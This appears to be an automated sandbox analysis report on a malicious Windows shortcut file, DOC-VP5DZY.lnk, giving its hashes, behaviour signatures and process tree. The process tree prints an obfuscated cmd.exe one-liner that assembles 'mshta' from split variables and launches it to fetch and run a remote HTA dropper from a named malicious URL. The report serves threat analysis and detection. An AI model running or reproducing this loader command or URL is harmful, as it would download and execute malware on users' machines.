Analysis
- max time kernel
60s - max time network
61s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/08/2026, 00:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-VP5DZY.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-VP5DZY.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
60 seconds
General
- Target DOC-VP5DZY.lnk
- Size 1KB
- Sample260827-amsbmaybke
- SHA256 49085b57f5eeb2913505a80969d5a5e82fe8012982f1391924df197ae6dca622
- MD5 7693e20c901bb6752939735a3681cfed
- SHA1 cf25d56723e77017ec290389661fc35a394dee14
- SHA512 e7638b8e6b971475cb032fbf0f10858e85e987d6490fd39963daffc5d74aa0f562074f93ac1324aef9fe2fc73099f0bd6242ab9e7b01f85037d3d403eb667ca5
- TLSH T1E5317B503FED0628F3F38F7795BB572495BBB8968D20CB2D0181454C5432A15E17AFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5168 cmd.exe 6012 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5168 wrote to memory of 6012 5168 cmd.exe 90 PID 6012 wrote to memory of 5976 6012 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VP5DZY.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5168 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set gZ=msh&&set zMf=ta&&start "" !gZ!!zMf! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6012 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5976
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